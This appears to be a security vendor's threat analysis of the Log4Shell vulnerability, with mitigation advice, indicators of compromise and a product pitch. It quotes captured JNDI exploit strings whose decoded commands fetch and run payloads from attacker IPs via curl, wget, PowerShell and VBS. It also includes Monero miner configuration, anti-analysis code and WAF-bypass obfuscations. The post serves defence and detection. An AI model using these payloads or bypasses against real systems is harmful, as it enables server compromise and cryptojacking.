On the 24th of November, Alibaba security expert Chen Zhaojun reported the vulnerability known as CVE-2021-44228. “Log4j” is an Open Source logging library deployed in cloud services and companies’ software. Since the 10th of December, “Log4Shell” has been picked up by all cyber media. Such popularity is explained by its CVSS score of 10. It is a RCE (remote code execution) exploit.
The impact is resounding since anyone can be affected by this breach. To date, tens of thousands of services have been identified as vulnerable (more than 500,000 public IP addresses are listed), including Apple, Steam, Github, Google and IBM. All applications using the Log4j2 framework are probably vulnerable.
The main risk, which everyone expects in the coming weeks or months, is to see an upsurge of ransomware.
How does this breach work?
This security breach allows an attacker to send to the server the link of a web page, a specific message and to make it read the whole content of this page. If the page contains Java code, the server is able to execute it. The hacker can take control of the server by installing malware in an extremely simple way. He can then retrieve the data, use it for crypto mining or for a ransomware attack…
The CVE-2021-44228 “Log4shell” is a vulnerability in the “log4j” product, a tool to write logs for Java, maintained by the Apache Software Foundation. This vulnerability is a RCE (Remote Code Execution) and can therefore be exploited remotely. It affects all versions of Log4j2 from 2.0-beta9 to 2.14.1. It involves a Java by-product and not the Web service maintained by Apache, httpd (Apache http Server).
This vulnerability is present in all versions of log4j 2.X (versions 1.X are not impacted).
Source: https://blogs.apache.org/cloudstack/entry/log4jshell
The severity of this vulnerability comes from its ease of use and its ability to exploit a service, even not exposed, if the vulnerable log reaches it.
Find more information available here (page updated): https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
How to detect it?
Timeline
TEHTRIS observed exploits of this vulnerability in the wild since the 10th of December. As an example:
GET / HTTP/1.1"
$ {jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/<base64 encoded chunk>When we analyze the Base64 part:
(curl -s 45.155.205.233:5874/<service IP>:80||wget -q -O- 45.155.205.233:5874/<service IP>:80)|bashThis syntax is typical of Linux with the double use of curl/wget to make sure that one of the two is installed.
LINUX
GET "/" HTTP/1.0
"$ {jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/Y3VybCBodHRwOi8vMi41Ni41OS4xMjMvMSAtLW91dHB1dCAxO3dnZXQgLU8gMSBodHRwOi8vMi41Ni41OS4xMjMvMTtjaG1vZCAreCAxOy4vMQ==}"When decoding, we obtain a Linux command line:
curl hxxp://2.56.59.123/1 --output 1;wget -O 1 hxxp://2.56.59.123/1;chmod +x 1;./1The malware could be retrieved:
3d3ab116c73dcc28e9e331c5e53b45ee12b528b56224d968b7ee949d11b253a2This ELF file allows to launch .NET from a Linux station. If you take a closer look, you will find an embedded .NET: StealthBotLinux
(001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951)
which the main function is the following:
public static void Main(string[] args)
{
Program.Install();
Program.RunMiner();
for (;;)
{
Console.ReadKey(true);
}
}This embeds another Linux executable setup0141 that it will decrypt, as well as a configuration file a.json (base64 encoded) passed in parameter of the executable:
setup0141-c a.json
This a.json file contains the following data:
{
"http": {
"enabled": true,
"host": "127.0.0.1",
"port": 26540,
"access-token": null,
"restricted": true
},
"autosave": true,
"cpu": true,
"opencl": false,
"cuda": false,
"pools": [
{
"url": "pool.supportxmr.com:443",
"user": "%USER%",
"keepalive": true,
"tls": true
},
{
"url": "monerohash.com:9999",
"user": "%USER%",
"keepalive": true,
"tls": true
}
]
}Or the “%USER%” is to be replaced by 4AeriA3wiocD9gUjiw7qptRDfECriZJac8CgGbfUUPUmMSYtLE43dr2XXDN6t5vd1GWMeGjNFSDh5NUPKBKU3bBz8uatDoC
Conclusion: setup0141 seems to be a miner of Monero.
WINDOWS
GET "/" HTTP/1.0
$ {jndi:ldap://2.56.59.123:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtYyBpZXggKChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cHM6Ly90ZXh0YmluLm5ldC9yYXcvMGw4aDR4dXZ4ZScpKQ==}When analyzing the base64, there is a Powershell command line:
powershell -c iex ((New-Object System.Net.WebClient).DownloadString('hxxps://textbin[.]net/raw/0l8h4xuvxe'))The link contains the following information:
$a="hxxp://2.56.59.123/setup.exe";$b="c:\windows\temp\setup.exe";$c = "c:\users\public\setup.exe";Import-Module BitsTransfer;try{(New-Object System.Net.WebClient).DownloadFile($a, $b);Start-Process -FilePath $b;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $b;Start-Process -FilePath $b;exit;}catch{};try{(New-Object System.Net.WebClient).DownloadFile($a, $c);Start-Process -FilePath $c;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $c;Start-Process -FilePath $c;exit;}catch{}The final payload could be retrieved:
457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2Here, we have directly a .NET executable for Windows. The code analysis of the latter shows that it uses obfuscation mechanisms in order to make the analysis more difficult. The payload is in a second .Net executable that is launched in a new Thread by our file.
This second executable is also obfuscated (a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13).
It contains many mechanisms to counteract detections, for example: a test to verify that the machine is connected to the Internet before launching the load:
public static void smethod_0()
{
try
{
IPAddress[] hostAddresses = Dns.GetHostAddresses("microsoft.com");
if (0 < hostAddresses.Length)
{
return;
}
}
catch
{
}
Environment.Exit(0);
}or the verification of a debugger attached to the analysis:
public static void smethod_4()
{
bool flag = false;
Class1.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
if (Class1.IsDebuggerPresent() || flag)
{
Environment.Exit(0);
}
}and many more…
Analysis of this binary shows that it will execute an encoded Powershell command that contains:
$a="http://%DOWNLOADADDR%/setup.exe
$b="c:\windows\temp\setup.exe";
Import-Module BitsTransfer;
try{
(New-Object System.Net.WebClient).DownloadFile($a, $b);
Start-Process -FilePath $b;
exit;
}catch{};
try{
Start-BitsTransfer -Source $a -Destination $b
Start-Process -FilePath $b;
exit;
}catch{};Then, we have the following VBS script:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://%DOWNLOADADDR%/setup.exe", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\windows\temp\setup.exe", 2
end with
set shell=CreateObject("Shell.Application")
shell.ShellExecute "cmd.exe","/c start c:\windows\temp\setup.exe","c:\windows\temp", "runas", 1
set shell=nothingWe could not retrieve the setup.exe executable.
In these two scripts, the %DOWNLOADADDR% address is replaced by 2.56.59.64.
The attacker can therefore retrieve his payload (whatever it is) and continue his attack.
What are possible mitigations?
The Apache foundation has released an emergency patch to fix the vulnerability: version 2.15.0 and then version 2.16.0 Log4j (https://logging.apache.org/log4j/2.x/security.html scored CVSS 9.0 as of December 17).
The French CERT proposes bypass measures on its website: https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
This remains a stopgap solution, since the list of affected software remains huge. The patches will have to be developed and deployed by the vendors. Then, organizations will have to test and deploy the patches and all this will take time.
Technical teams are on deck, the only solutions today being:
- make inventories of infrastructures to check their exposure
- quickly identify all exposed web services on the Internet
- update the Log4j2 library as soon as possible
- filter outgoing flows from servers to limit them to authorized flows to trusted services
- protect the servers behind the WAF services
- focus on prevention and detection of possible exploits
- check that the EDR coverage is sufficient and that a park supervision is effective. For example, the Powershell mentioned above is detected by TEHTRIS EDR.
TEHTRIS recommendations
In addition to these recommendations, TEHTRIS recommends that you:
- patch
- audit
- check that the EDR coverage is sufficient and that a park supervision is effective.
For example, the Powershell mentioned above is detected by TEHTRIS EDR.
Our XDR technology will help you identify vulnerable machines, if you have the EDR, it could help detect the breach and will be able, as a last resort, to isolate the threat to prevent attacks on the server. Depending on the settings of your TEHTRIS XDR Platform, on-board hyper automation allows automatic remediation of attacks, 24 hours a day, 7 days a week.
Please note that TEHTRIS has performed an impact audit on the CVE-2021-44228 “Log4shell” vulnerability. It is not applicable to TEHTRIS products. Finally, TEHTRIS honeypots, integrated with the TEHTRIS Deceptive Response product, recorded exploits as soon as the vulnerability was announced.
The attacks mentioned in this article seem to be aimed at cryptocurrency mining, but it is important to keep in mind that this vulnerability could be used in the coming days as a vector for ransomware or other more serious types of attacks. Some cases have already been observed in the wild.
One of the biggest Internet vulnerabilities to date
This breach is considered to be the biggest critical one on the Internet. It does not spare anyone. All organizations can be affected, all sectors as well. From now on, a major challenge awaits security teams.
TEHTRIS shares its IoCs with you.
IOC
IP
45.155.205.233
195.54.160.149
101.204.24.28
167.99.221.217
178.128.232.114
217.112.83.246
2.56.59.123
2.56.59.64
Sha256
457b254439cdbbc167b45abc09d9531b59ac7b104e847e453e5abd016991a6e2
3d3ab116c73dcc28e9e331c5e53b45ee12b528b56224d968b7ee949d11b253a2
001f1120846e2a51dd096d6558fbd4b1c276eea3b23c5a535d7241524ea34951
a3a17a04ee104f1096bf46ed779c0139af2049436a3e621c4188ff0f6f2e0f13
Some observed WAF bypasses
${jndi:${lower:l}${lower:d}a${lower:p}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}
${jndi:dns ldap isn’t the only vulnerable service
$%7Bjndi:ldap
$%7Bjndi:dns